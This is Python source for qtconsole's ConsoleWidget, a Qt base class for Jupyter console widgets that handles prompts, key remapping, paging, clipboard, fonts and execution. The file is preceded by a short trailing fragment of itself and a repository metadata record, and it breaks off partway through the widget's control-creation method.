self._append_block()
# Write the prompt.
self._append_plain_text(self._prompt_sep)
if prompt is None:
if self._prompt_html is None:
self._append_plain_text(self._prompt)
else:
self._append_html(self._prompt_html)
else:
if html:
self._prompt = self._append_html_fetching_plain_text(prompt)
self._prompt_html = prompt
else:
self._append_plain_text(prompt)
self._prompt = prompt
self._prompt_html = None
self._flush_pending_stream()
self._prompt_cursor.setPosition(self._get_end_pos() - 1)
if move_forward:
self._append_before_prompt_cursor.setPosition(
self._append_before_prompt_cursor.position() + 1)
self._prompt_started()
#------ Signal handlers ----------------------------------------------------
def _adjust_scrollbars(self):
""" Expands the vertical scrollbar beyond the range set by Qt.
"""
# This code is adapted from _q_adjustScrollbars in qplaintextedit.cpp
# and qtextedit.cpp.
document = self._control.document()
scrollbar = self._control.verticalScrollBar()
viewport_height = self._control.viewport().height()
if isinstance(self._control, QtGui.QPlainTextEdit):
maximum = max(0, document.lineCount() - 1)
step = viewport_height / self._control.fontMetrics().lineSpacing()
else:
# QTextEdit does not do line-based layout and blocks will not in
# general have the same height. Therefore it does not make sense to
# attempt to scroll in line height increments.
maximum = document.size().height()
step = viewport_height
diff = maximum - scrollbar.maximum()
scrollbar.setRange(0, maximum)
scrollbar.setPageStep(step)
# Compensate for undesirable scrolling that occurs automatically due to
# maximumBlockCount() text truncation.
if diff < 0 and document.blockCount() == document.maximumBlockCount():
scrollbar.setValue(scrollbar.value() + diff)
def _custom_context_menu_requested(self, pos):
""" Shows a context menu at the given QPoint (in widget coordinates).
"""
menu = self._context_menu_make(pos)
menu.exec_(self._control.mapToGlobal(pos))
| {
"repo_name": "nitin-cherian/LifeLongLearning",
"path": "Python/PythonProgrammingLanguage/Encapsulation/encap_env/lib/python3.5/site-packages/qtconsole/console_widget.py",
"copies": "1",
"size": "90081",
"license": "mit",
"hash": -7067056055203237000,
"line_mean": 39.908719346,
"line_max": 103,
"alpha_frac": 0.5637370811,
"autogenerated": false,
"ratio": 4.630699635017735,
"config_test": false,
"has_no_keywords": false,
"few_assignments": false,
"quality_score": 0.5694436716117736,
"avg_score": null,
"num_lines": null
} |
"""An abstract base class for console-type widgets."""
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
import os.path
import re
import sys
from textwrap import dedent
import time
from unicodedata import category
import webbrowser
from qtconsole.qt import QtCore, QtGui
from traitlets.config.configurable import LoggingConfigurable
from qtconsole.rich_text import HtmlExporter
from qtconsole.util import MetaQObjectHasTraits, get_font, superQ
from ipython_genutils.text import columnize
from traitlets import Bool, Enum, Integer, Unicode
from .ansi_code_processor import QtAnsiCodeProcessor
from .completion_widget import CompletionWidget
from .completion_html import CompletionHtml
from .completion_plain import CompletionPlain
from .kill_ring import QtKillRing
def is_letter_or_number(char):
""" Returns whether the specified unicode character is a letter or a number.
"""
cat = category(char)
return cat.startswith('L') or cat.startswith('N')
#-----------------------------------------------------------------------------
# Classes
#-----------------------------------------------------------------------------
class ConsoleWidget(MetaQObjectHasTraits('NewBase', (LoggingConfigurable, superQ(QtGui.QWidget)), {})):
""" An abstract base class for console-type widgets. This class has
functionality for:
* Maintaining a prompt and editing region
* Providing the traditional Unix-style console keyboard shortcuts
* Performing tab completion
* Paging text
* Handling ANSI escape codes
ConsoleWidget also provides a number of utility methods that will be
convenient to implementors of a console-style widget.
"""
#------ Configuration ------------------------------------------------------
ansi_codes = Bool(True, config=True,
help="Whether to process ANSI escape codes."
)
buffer_size = Integer(500, config=True,
help="""
The maximum number of lines of text before truncation. Specifying a
non-positive number disables text truncation (not recommended).
"""
)
execute_on_complete_input = Bool(True, config=True,
help="""Whether to automatically execute on syntactically complete input.
If False, Shift-Enter is required to submit each execution.
Disabling this is mainly useful for non-Python kernels,
where the completion check would be wrong.
"""
)
gui_completion = Enum(['plain', 'droplist', 'ncurses'], config=True,
default_value = 'ncurses',
help="""
The type of completer to use. Valid values are:
'plain' : Show the available completion as a text list
Below the editing area.
'droplist': Show the completion in a drop down list navigable
by the arrow keys, and from which you can select
completion by pressing Return.
'ncurses' : Show the completion as a text list which is navigable by
`tab` and arrow keys.
"""
)
# NOTE: this value can only be specified during initialization.
kind = Enum(['plain', 'rich'], default_value='plain', config=True,
help="""
The type of underlying text widget to use. Valid values are 'plain',
which specifies a QPlainTextEdit, and 'rich', which specifies a
QTextEdit.
"""
)
# NOTE: this value can only be specified during initialization.
paging = Enum(['inside', 'hsplit', 'vsplit', 'custom', 'none'],
default_value='inside', config=True,
help="""
The type of paging to use. Valid values are:
'inside'
The widget pages like a traditional terminal.
'hsplit'
When paging is requested, the widget is split horizontally. The top
pane contains the console, and the bottom pane contains the paged text.
'vsplit'
Similar to 'hsplit', except that a vertical splitter is used.
'custom'
No action is taken by the widget beyond emitting a
'custom_page_requested(str)' signal.
'none'
The text is written directly to the console.
""")
font_family = Unicode(config=True,
help="""The font family to use for the console.
On OSX this defaults to Monaco, on Windows the default is
Consolas with fallback of Courier, and on other platforms
the default is Monospace.
""")
def _font_family_default(self):
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
return 'Consolas'
elif sys.platform == 'darwin':
# OSX always has Monaco, no need for a fallback
return 'Monaco'
else:
# Monospace should always exist, no need for a fallback
return 'Monospace'
font_size = Integer(config=True,
help="""The font size. If unconfigured, Qt will be entrusted
with the size of the font.
""")
width = Integer(81, config=True,
help="""The width of the console at start time in number
of characters (will double with `hsplit` paging)
""")
height = Integer(25, config=True,
help="""The height of the console at start time in number
of characters (will double with `vsplit` paging)
""")
# Whether to override ShortcutEvents for the keybindings defined by this
# widget (Ctrl+n, Ctrl+a, etc). Enable this if you want this widget to take
# priority (when it has focus) over, e.g., window-level menu shortcuts.
override_shortcuts = Bool(False)
# ------ Custom Qt Widgets -------------------------------------------------
# For other projects to easily override the Qt widgets used by the console
# (e.g. Spyder)
custom_control = None
custom_page_control = None
#------ Signals ------------------------------------------------------------
# Signals that indicate ConsoleWidget state.
copy_available = QtCore.Signal(bool)
redo_available = QtCore.Signal(bool)
undo_available = QtCore.Signal(bool)
# Signal emitted when paging is needed and the paging style has been
# specified as 'custom'.
custom_page_requested = QtCore.Signal(object)
# Signal emitted when the font is changed.
font_changed = QtCore.Signal(QtGui.QFont)
#------ Protected class variables ------------------------------------------
# control handles
_control = None
_page_control = None
_splitter = None
# When the control key is down, these keys are mapped.
_ctrl_down_remap = { QtCore.Qt.Key_B : QtCore.Qt.Key_Left,
QtCore.Qt.Key_F : QtCore.Qt.Key_Right,
QtCore.Qt.Key_A : QtCore.Qt.Key_Home,
QtCore.Qt.Key_P : QtCore.Qt.Key_Up,
QtCore.Qt.Key_N : QtCore.Qt.Key_Down,
QtCore.Qt.Key_H : QtCore.Qt.Key_Backspace, }
if not sys.platform == 'darwin':
# On OS X, Ctrl-E already does the right thing, whereas End moves the
# cursor to the bottom of the buffer.
_ctrl_down_remap[QtCore.Qt.Key_E] = QtCore.Qt.Key_End
# The shortcuts defined by this widget. We need to keep track of these to
# support 'override_shortcuts' above.
_shortcuts = set(_ctrl_down_remap.keys()) | \
{ QtCore.Qt.Key_C, QtCore.Qt.Key_G, QtCore.Qt.Key_O,
QtCore.Qt.Key_V }
_temp_buffer_filled = False
#---------------------------------------------------------------------------
# 'QObject' interface
#---------------------------------------------------------------------------
def __init__(self, parent=None, **kw):
""" Create a ConsoleWidget.
Parameters
----------
parent : QWidget, optional [default None]
The parent for this widget.
"""
super(ConsoleWidget, self).__init__(**kw)
if parent:
self.setParent(parent)
# While scrolling the pager on Mac OS X, it tears badly. The
# NativeGesture is platform and perhaps build-specific hence
# we take adequate precautions here.
self._pager_scroll_events = [QtCore.QEvent.Wheel]
if hasattr(QtCore.QEvent, 'NativeGesture'):
self._pager_scroll_events.append(QtCore.QEvent.NativeGesture)
# Create the layout and underlying text widget.
layout = QtGui.QStackedLayout(self)
layout.setContentsMargins(0, 0, 0, 0)
self._control = self._create_control()
if self.paging in ('hsplit', 'vsplit'):
self._splitter = QtGui.QSplitter()
if self.paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
else:
self._splitter.setOrientation(QtCore.Qt.Vertical)
self._splitter.addWidget(self._control)
layout.addWidget(self._splitter)
else:
layout.addWidget(self._control)
# Create the paging widget, if necessary.
if self.paging in ('inside', 'hsplit', 'vsplit'):
self._page_control = self._create_page_control()
if self._splitter:
self._page_control.hide()
self._splitter.addWidget(self._page_control)
else:
layout.addWidget(self._page_control)
# Initialize protected variables. Some variables contain useful state
# information for subclasses; they should be considered read-only.
self._append_before_prompt_pos = 0
self._ansi_processor = QtAnsiCodeProcessor()
if self.gui_completion == 'ncurses':
self._completion_widget = CompletionHtml(self)
elif self.gui_completion == 'droplist':
self._completion_widget = CompletionWidget(self)
elif self.gui_completion == 'plain':
self._completion_widget = CompletionPlain(self)
self._continuation_prompt = '> '
self._continuation_prompt_html = None
self._executing = False
self._filter_resize = False
self._html_exporter = HtmlExporter(self._control)
self._input_buffer_executing = ''
self._input_buffer_pending = ''
self._kill_ring = QtKillRing(self._control)
self._prompt = ''
self._prompt_html = None
self._prompt_pos = 0
self._prompt_sep = ''
self._reading = False
self._reading_callback = None
self._tab_width = 8
# List of strings pending to be appended as plain text in the widget.
# The text is not immediately inserted when available to not
# choke the Qt event loop with paint events for the widget in
# case of lots of output from kernel.
self._pending_insert_text = []
# Timer to flush the pending stream messages. The interval is adjusted
# later based on actual time taken for flushing a screen (buffer_size)
# of output text.
self._pending_text_flush_interval = QtCore.QTimer(self._control)
self._pending_text_flush_interval.setInterval(100)
self._pending_text_flush_interval.setSingleShot(True)
self._pending_text_flush_interval.timeout.connect(
self._on_flush_pending_stream_timer)
# Set a monospaced font.
self.reset_font()
# Configure actions.
action = QtGui.QAction('Print', None)
action.setEnabled(True)
printkey = QtGui.QKeySequence(QtGui.QKeySequence.Print)
if printkey.matches("Ctrl+P") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
printkey = "Ctrl+Shift+P"
action.setShortcut(printkey)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.print_)
self.addAction(action)
self.print_action = action
action = QtGui.QAction('Save as HTML/XML', None)
action.setShortcut(QtGui.QKeySequence.Save)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.export_html)
self.addAction(action)
self.export_action = action
action = QtGui.QAction('Select All', None)
action.setEnabled(True)
selectall = QtGui.QKeySequence(QtGui.QKeySequence.SelectAll)
if selectall.matches("Ctrl+A") and sys.platform != 'darwin':
# Only override the default if there is a collision.
# Qt ctrl = cmd on OSX, so the match gets a false positive on OSX.
selectall = "Ctrl+Shift+A"
action.setShortcut(selectall)
action.setShortcutContext(QtCore.Qt.WidgetWithChildrenShortcut)
action.triggered.connect(self.select_all)
self.addAction(action)
self.select_all_action = action
self.increase_font_size = QtGui.QAction("Bigger Font",
self,
shortcut=QtGui.QKeySequence.ZoomIn,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Increase the font size by one point",
triggered=self._increase_font_size)
self.addAction(self.increase_font_size)
self.decrease_font_size = QtGui.QAction("Smaller Font",
self,
shortcut=QtGui.QKeySequence.ZoomOut,
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Decrease the font size by one point",
triggered=self._decrease_font_size)
self.addAction(self.decrease_font_size)
self.reset_font_size = QtGui.QAction("Normal Font",
self,
shortcut="Ctrl+0",
shortcutContext=QtCore.Qt.WidgetWithChildrenShortcut,
statusTip="Restore the Normal font size",
triggered=self.reset_font)
self.addAction(self.reset_font_size)
# Accept drag and drop events here. Drops were already turned off
# in self._control when that widget was created.
self.setAcceptDrops(True)
#---------------------------------------------------------------------------
# Drag and drop support
#---------------------------------------------------------------------------
def dragEnterEvent(self, e):
if e.mimeData().hasUrls():
# The link action should indicate to that the drop will insert
# the file anme.
e.setDropAction(QtCore.Qt.LinkAction)
e.accept()
elif e.mimeData().hasText():
# By changing the action to copy we don't need to worry about
# the user accidentally moving text around in the widget.
e.setDropAction(QtCore.Qt.CopyAction)
e.accept()
def dragMoveEvent(self, e):
if e.mimeData().hasUrls():
pass
elif e.mimeData().hasText():
cursor = self._control.cursorForPosition(e.pos())
if self._in_buffer(cursor.position()):
e.setDropAction(QtCore.Qt.CopyAction)
self._control.setTextCursor(cursor)
else:
e.setDropAction(QtCore.Qt.IgnoreAction)
e.accept()
def dropEvent(self, e):
if e.mimeData().hasUrls():
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
filenames = [url.toLocalFile() for url in e.mimeData().urls()]
text = ', '.join("'" + f.replace("'", "'\"'\"'") + "'"
for f in filenames)
self._insert_plain_text_into_buffer(cursor, text)
elif e.mimeData().hasText():
cursor = self._control.cursorForPosition(e.pos())
if self._in_buffer(cursor.position()):
text = e.mimeData().text()
self._insert_plain_text_into_buffer(cursor, text)
def eventFilter(self, obj, event):
""" Reimplemented to ensure a console-like behavior in the underlying
text widgets.
"""
etype = event.type()
if etype == QtCore.QEvent.KeyPress:
# Re-map keys for all filtered widgets.
key = event.key()
if self._control_key_down(event.modifiers()) and \
key in self._ctrl_down_remap:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
self._ctrl_down_remap[key],
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(obj, new_event)
return True
elif obj == self._control:
return self._event_filter_console_keypress(event)
elif obj == self._page_control:
return self._event_filter_page_keypress(event)
# Make middle-click paste safe.
elif etype == QtCore.QEvent.MouseButtonRelease and \
event.button() == QtCore.Qt.MidButton and \
obj == self._control.viewport():
cursor = self._control.cursorForPosition(event.pos())
self._control.setTextCursor(cursor)
self.paste(QtGui.QClipboard.Selection)
return True
# Manually adjust the scrollbars *after* a resize event is dispatched.
elif etype == QtCore.QEvent.Resize and not self._filter_resize:
self._filter_resize = True
QtGui.qApp.sendEvent(obj, event)
self._adjust_scrollbars()
self._filter_resize = False
return True
# Override shortcuts for all filtered widgets.
elif etype == QtCore.QEvent.ShortcutOverride and \
self.override_shortcuts and \
self._control_key_down(event.modifiers()) and \
event.key() in self._shortcuts:
event.accept()
# Handle scrolling of the vsplit pager. This hack attempts to solve
# problems with tearing of the help text inside the pager window. This
# happens only on Mac OS X with both PySide and PyQt. This fix isn't
# perfect but makes the pager more usable.
elif etype in self._pager_scroll_events and \
obj == self._page_control:
self._page_control.repaint()
return True
elif etype == QtCore.QEvent.MouseMove:
anchor = self._control.anchorAt(event.pos())
QtGui.QToolTip.showText(event.globalPos(), anchor)
return super(ConsoleWidget, self).eventFilter(obj, event)
#---------------------------------------------------------------------------
# 'QWidget' interface
#---------------------------------------------------------------------------
def sizeHint(self):
""" Reimplemented to suggest a size that is 80 characters wide and
25 lines high.
"""
font_metrics = QtGui.QFontMetrics(self.font)
margin = (self._control.frameWidth() +
self._control.document().documentMargin()) * 2
style = self.style()
splitwidth = style.pixelMetric(QtGui.QStyle.PM_SplitterWidth)
# Note 1: Despite my best efforts to take the various margins into
# account, the width is still coming out a bit too small, so we include
# a fudge factor of one character here.
# Note 2: QFontMetrics.maxWidth is not used here or anywhere else due
# to a Qt bug on certain Mac OS systems where it returns 0.
width = font_metrics.width(' ') * self.width + margin
width += style.pixelMetric(QtGui.QStyle.PM_ScrollBarExtent)
if self.paging == 'hsplit':
width = width * 2 + splitwidth
height = font_metrics.height() * self.height + margin
if self.paging == 'vsplit':
height = height * 2 + splitwidth
return QtCore.QSize(width, height)
#---------------------------------------------------------------------------
# 'ConsoleWidget' public interface
#---------------------------------------------------------------------------
include_other_output = Bool(False, config=True,
help="""Whether to include output from clients
other than this one sharing the same kernel.
Outputs are not displayed until enter is pressed.
"""
)
def can_copy(self):
""" Returns whether text can be copied to the clipboard.
"""
return self._control.textCursor().hasSelection()
def can_cut(self):
""" Returns whether text can be cut to the clipboard.
"""
cursor = self._control.textCursor()
return (cursor.hasSelection() and
self._in_buffer(cursor.anchor()) and
self._in_buffer(cursor.position()))
def can_paste(self):
""" Returns whether text can be pasted from the clipboard.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
return bool(QtGui.QApplication.clipboard().text())
return False
def clear(self, keep_input=True):
""" Clear the console.
Parameters
----------
keep_input : bool, optional (default True)
If set, restores the old input buffer if a new prompt is written.
"""
if self._executing:
self._control.clear()
else:
if keep_input:
input_buffer = self.input_buffer
self._control.clear()
self._show_prompt()
if keep_input:
self.input_buffer = input_buffer
def copy(self):
""" Copy the currently selected text to the clipboard.
"""
self.layout().currentWidget().copy()
def copy_anchor(self, anchor):
""" Copy anchor text to the clipboard
"""
QtGui.QApplication.clipboard().setText(anchor)
def cut(self):
""" Copy the currently selected text to the clipboard and delete it
if it's inside the input buffer.
"""
self.copy()
if self.can_cut():
self._control.textCursor().removeSelectedText()
def execute(self, source=None, hidden=False, interactive=False):
""" Executes source or the input buffer, possibly prompting for more
input.
Parameters
----------
source : str, optional
The source to execute. If not specified, the input buffer will be
used. If specified and 'hidden' is False, the input buffer will be
replaced with the source before execution.
hidden : bool, optional (default False)
If set, no output will be shown and the prompt will not be modified.
In other words, it will be completely invisible to the user that
an execution has occurred.
interactive : bool, optional (default False)
Whether the console is to treat the source as having been manually
entered by the user. The effect of this parameter depends on the
subclass implementation.
Raises
------
RuntimeError
If incomplete input is given and 'hidden' is True. In this case,
it is not possible to prompt for more input.
Returns
-------
A boolean indicating whether the source was executed.
"""
# WARNING: The order in which things happen here is very particular, in
# large part because our syntax highlighting is fragile. If you change
# something, test carefully!
# Decide what to execute.
if source is None:
source = self.input_buffer
if not hidden:
# A newline is appended later, but it should be considered part
# of the input buffer.
source += '\n'
elif not hidden:
self.input_buffer = source
# Execute the source or show a continuation prompt if it is incomplete.
if interactive and self.execute_on_complete_input:
complete, indent = self._is_complete(source, interactive)
else:
complete = True
indent = ''
if hidden:
if complete or not self.execute_on_complete_input:
self._execute(source, hidden)
else:
error = 'Incomplete noninteractive input: "%s"'
raise RuntimeError(error % source)
else:
if complete:
self._append_plain_text('\n')
self._input_buffer_executing = self.input_buffer
self._executing = True
self._prompt_finished()
# The maximum block count is only in effect during execution.
# This ensures that _prompt_pos does not become invalid due to
# text truncation.
self._control.document().setMaximumBlockCount(self.buffer_size)
# Setting a positive maximum block count will automatically
# disable the undo/redo history, but just to be safe:
self._control.setUndoRedoEnabled(False)
# Perform actual execution.
self._execute(source, hidden)
else:
# Do this inside an edit block so continuation prompts are
# removed seamlessly via undo/redo.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.insertText('\n')
self._insert_continuation_prompt(cursor, indent)
cursor.endEditBlock()
# Do not do this inside the edit block. It works as expected
# when using a QPlainTextEdit control, but does not have an
# effect when using a QTextEdit. I believe this is a Qt bug.
self._control.moveCursor(QtGui.QTextCursor.End)
return complete
def export_html(self):
""" Shows a dialog to export HTML/XML in various formats.
"""
self._html_exporter.export()
def _get_input_buffer(self, force=False):
""" The text that the user has entered entered at the current prompt.
If the console is currently executing, the text that is executing will
always be returned.
"""
# If we're executing, the input buffer may not even exist anymore due to
# the limit imposed by 'buffer_size'. Therefore, we store it.
if self._executing and not force:
return self._input_buffer_executing
cursor = self._get_end_cursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Strip out continuation prompts.
return input_buffer.replace('\n' + self._continuation_prompt, '\n')
def _set_input_buffer(self, string):
""" Sets the text in the input buffer.
If the console is currently executing, this call has no *immediate*
effect. When the execution is finished, the input buffer will be updated
appropriately.
"""
# If we're executing, store the text for later.
if self._executing:
self._input_buffer_pending = string
return
# Remove old text.
cursor = self._get_end_cursor()
cursor.beginEditBlock()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# Insert new text with continuation prompts.
self._insert_plain_text_into_buffer(self._get_prompt_cursor(), string)
cursor.endEditBlock()
self._control.moveCursor(QtGui.QTextCursor.End)
input_buffer = property(_get_input_buffer, _set_input_buffer)
def _get_font(self):
""" The base font being used by the ConsoleWidget.
"""
return self._control.document().defaultFont()
def _set_font(self, font):
""" Sets the base font for the ConsoleWidget to the specified QFont.
"""
font_metrics = QtGui.QFontMetrics(font)
self._control.setTabStopWidth(self.tab_width * font_metrics.width(' '))
self._completion_widget.setFont(font)
self._control.document().setDefaultFont(font)
if self._page_control:
self._page_control.document().setDefaultFont(font)
self.font_changed.emit(font)
font = property(_get_font, _set_font)
def open_anchor(self, anchor):
""" Open selected anchor in the default webbrowser
"""
webbrowser.open( anchor )
def paste(self, mode=QtGui.QClipboard.Clipboard):
""" Paste the contents of the clipboard into the input region.
Parameters
----------
mode : QClipboard::Mode, optional [default QClipboard::Clipboard]
Controls which part of the system clipboard is used. This can be
used to access the selection clipboard in X11 and the Find buffer
in Mac OS. By default, the regular clipboard is used.
"""
if self._control.textInteractionFlags() & QtCore.Qt.TextEditable:
# Make sure the paste is safe.
self._keep_cursor_in_buffer()
cursor = self._control.textCursor()
# Remove any trailing newline, which confuses the GUI and forces the
# user to backspace.
text = QtGui.QApplication.clipboard().text(mode).rstrip()
self._insert_plain_text_into_buffer(cursor, dedent(text))
def print_(self, printer = None):
""" Print the contents of the ConsoleWidget to the specified QPrinter.
"""
if (not printer):
printer = QtGui.QPrinter()
if(QtGui.QPrintDialog(printer).exec_() != QtGui.QDialog.Accepted):
return
self._control.print_(printer)
def prompt_to_top(self):
""" Moves the prompt to the top of the viewport.
"""
if not self._executing:
prompt_cursor = self._get_prompt_cursor()
if self._get_cursor().blockNumber() < prompt_cursor.blockNumber():
self._set_cursor(prompt_cursor)
self._set_top_cursor(prompt_cursor)
def redo(self):
""" Redo the last operation. If there is no operation to redo, nothing
happens.
"""
self._control.redo()
def reset_font(self):
""" Sets the font to the default fixed-width font for this platform.
"""
if sys.platform == 'win32':
# Consolas ships with Vista/Win7, fallback to Courier if needed
fallback = 'Courier'
elif sys.platform == 'darwin':
# OSX always has Monaco
fallback = 'Monaco'
else:
# Monospace should always exist
fallback = 'Monospace'
font = get_font(self.font_family, fallback)
if self.font_size:
font.setPointSize(self.font_size)
else:
font.setPointSize(QtGui.qApp.font().pointSize())
font.setStyleHint(QtGui.QFont.TypeWriter)
self._set_font(font)
def change_font_size(self, delta):
"""Change the font size by the specified amount (in points).
"""
font = self.font
size = max(font.pointSize() + delta, 1) # minimum 1 point
font.setPointSize(size)
self._set_font(font)
def _increase_font_size(self):
self.change_font_size(1)
def _decrease_font_size(self):
self.change_font_size(-1)
def select_all(self):
""" Selects all the text in the buffer.
"""
self._control.selectAll()
def _get_tab_width(self):
""" The width (in terms of space characters) for tab characters.
"""
return self._tab_width
def _set_tab_width(self, tab_width):
""" Sets the width (in terms of space characters) for tab characters.
"""
font_metrics = QtGui.QFontMetrics(self.font)
self._control.setTabStopWidth(tab_width * font_metrics.width(' '))
self._tab_width = tab_width
tab_width = property(_get_tab_width, _set_tab_width)
def undo(self):
""" Undo the last operation. If there is no operation to undo, nothing
happens.
"""
self._control.undo()
#---------------------------------------------------------------------------
# 'ConsoleWidget' abstract interface
#---------------------------------------------------------------------------
def _is_complete(self, source, interactive):
""" Returns whether 'source' can be executed. When triggered by an
Enter/Return key press, 'interactive' is True; otherwise, it is
False.
"""
raise NotImplementedError
def _execute(self, source, hidden):
""" Execute 'source'. If 'hidden', do not show any output.
"""
raise NotImplementedError
def _prompt_started_hook(self):
""" Called immediately after a new prompt is displayed.
"""
pass
def _prompt_finished_hook(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
pass
def _up_pressed(self, shift_modifier):
""" Called when the up key is pressed. Returns whether to continue
processing the event.
"""
return True
def _down_pressed(self, shift_modifier):
""" Called when the down key is pressed. Returns whether to continue
processing the event.
"""
return True
def _tab_pressed(self):
""" Called when the tab key is pressed. Returns whether to continue
processing the event.
"""
return False
#--------------------------------------------------------------------------
# 'ConsoleWidget' protected interface
#--------------------------------------------------------------------------
def _append_custom(self, insert, input, before_prompt=False, *args, **kwargs):
""" A low-level method for appending content to the end of the buffer.
If 'before_prompt' is enabled, the content will be inserted before the
current prompt, if there is one.
"""
# Determine where to insert the content.
cursor = self._control.textCursor()
if before_prompt and (self._reading or not self._executing):
self._flush_pending_stream()
cursor.setPosition(self._append_before_prompt_pos)
else:
if insert != self._insert_plain_text:
self._flush_pending_stream()
cursor.movePosition(QtGui.QTextCursor.End)
start_pos = cursor.position()
# Perform the insertion.
result = insert(cursor, input, *args, **kwargs)
# Adjust the prompt position if we have inserted before it. This is safe
# because buffer truncation is disabled when not executing.
if before_prompt and (self._reading or not self._executing):
diff = cursor.position() - start_pos
self._append_before_prompt_pos += diff
self._prompt_pos += diff
return result
def _append_block(self, block_format=None, before_prompt=False):
""" Appends an new QTextBlock to the end of the console buffer.
"""
self._append_custom(self._insert_block, block_format, before_prompt)
def _append_html(self, html, before_prompt=False):
""" Appends HTML at the end of the console buffer.
"""
self._append_custom(self._insert_html, html, before_prompt)
def _append_html_fetching_plain_text(self, html, before_prompt=False):
""" Appends HTML, then returns the plain text version of it.
"""
return self._append_custom(self._insert_html_fetching_plain_text,
html, before_prompt)
def _append_plain_text(self, text, before_prompt=False):
""" Appends plain text, processing ANSI codes if enabled.
"""
self._append_custom(self._insert_plain_text, text, before_prompt)
def _cancel_completion(self):
""" If text completion is progress, cancel it.
"""
self._completion_widget.cancel_completion()
def _clear_temporary_buffer(self):
""" Clears the "temporary text" buffer, i.e. all the text following
the prompt region.
"""
# Select and remove all text below the input buffer.
cursor = self._get_prompt_cursor()
prompt = self._continuation_prompt.lstrip()
if(self._temp_buffer_filled):
self._temp_buffer_filled = False
while cursor.movePosition(QtGui.QTextCursor.NextBlock):
temp_cursor = QtGui.QTextCursor(cursor)
temp_cursor.select(QtGui.QTextCursor.BlockUnderCursor)
text = temp_cursor.selection().toPlainText().lstrip()
if not text.startswith(prompt):
break
else:
# We've reached the end of the input buffer and no text follows.
return
cursor.movePosition(QtGui.QTextCursor.Left) # Grab the newline.
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
# After doing this, we have no choice but to clear the undo/redo
# history. Otherwise, the text is not "temporary" at all, because it
# can be recalled with undo/redo. Unfortunately, Qt does not expose
# fine-grained control to the undo/redo system.
if self._control.isUndoRedoEnabled():
self._control.setUndoRedoEnabled(False)
self._control.setUndoRedoEnabled(True)
def _complete_with_items(self, cursor, items):
""" Performs completion with 'items' at the specified cursor location.
"""
self._cancel_completion()
if len(items) == 1:
cursor.setPosition(self._control.textCursor().position(),
QtGui.QTextCursor.KeepAnchor)
cursor.insertText(items[0])
elif len(items) > 1:
current_pos = self._control.textCursor().position()
prefix = os.path.commonprefix(items)
if prefix:
cursor.setPosition(current_pos, QtGui.QTextCursor.KeepAnchor)
cursor.insertText(prefix)
current_pos = cursor.position()
cursor.movePosition(QtGui.QTextCursor.Left, n=len(prefix))
self._completion_widget.show_items(cursor, items)
def _fill_temporary_buffer(self, cursor, text, html=False):
"""fill the area below the active editting zone with text"""
current_pos = self._control.textCursor().position()
cursor.beginEditBlock()
self._append_plain_text('\n')
self._page(text, html=html)
cursor.endEditBlock()
cursor.setPosition(current_pos)
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
self._temp_buffer_filled = True
def _context_menu_make(self, pos):
""" Creates a context menu for the given QPoint (in widget coordinates).
"""
menu = QtGui.QMenu(self)
self.cut_action = menu.addAction('Cut', self.cut)
self.cut_action.setEnabled(self.can_cut())
self.cut_action.setShortcut(QtGui.QKeySequence.Cut)
self.copy_action = menu.addAction('Copy', self.copy)
self.copy_action.setEnabled(self.can_copy())
self.copy_action.setShortcut(QtGui.QKeySequence.Copy)
self.paste_action = menu.addAction('Paste', self.paste)
self.paste_action.setEnabled(self.can_paste())
self.paste_action.setShortcut(QtGui.QKeySequence.Paste)
anchor = self._control.anchorAt(pos)
if anchor:
menu.addSeparator()
self.copy_link_action = menu.addAction(
'Copy Link Address', lambda: self.copy_anchor(anchor=anchor))
self.open_link_action = menu.addAction(
'Open Link', lambda: self.open_anchor(anchor=anchor))
menu.addSeparator()
menu.addAction(self.select_all_action)
menu.addSeparator()
menu.addAction(self.export_action)
menu.addAction(self.print_action)
return menu
def _control_key_down(self, modifiers, include_command=False):
""" Given a KeyboardModifiers flags object, return whether the Control
key is down.
Parameters
----------
include_command : bool, optional (default True)
Whether to treat the Command key as a (mutually exclusive) synonym
for Control when in Mac OS.
"""
# Note that on Mac OS, ControlModifier corresponds to the Command key
# while MetaModifier corresponds to the Control key.
if sys.platform == 'darwin':
down = include_command and (modifiers & QtCore.Qt.ControlModifier)
return bool(down) ^ bool(modifiers & QtCore.Qt.MetaModifier)
else:
return bool(modifiers & QtCore.Qt.ControlModifier)
def _create_control(self):
""" Creates and connects the underlying text widget.
"""
# Create the underlying control.
if self.custom_control:
control = self.custom_control()
elif self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.setAcceptRichText(False)
control.setMouseTracking(True)
# Prevent the widget from handling drops, as we already provide
# the logic in this class.
control.setAcceptDrops(False)
# Install event filters. The filter on the viewport is needed for
# mouse events.
control.installEventFilter(self)
control.viewport().installEventFilter(self)
# Connect signals.
control.customContextMenuRequested.connect(
self._custom_context_menu_requested)
control.copyAvailable.connect(self.copy_available)
control.redoAvailable.connect(self.redo_available)
control.undoAvailable.connect(self.undo_available)
# Hijack the document size change signal to prevent Qt from adjusting
# the viewport's scrollbar. We are relying on an implementation detail
# of Q(Plain)TextEdit here, which is potentially dangerous, but without
# this functionality we cannot create a nice terminal interface.
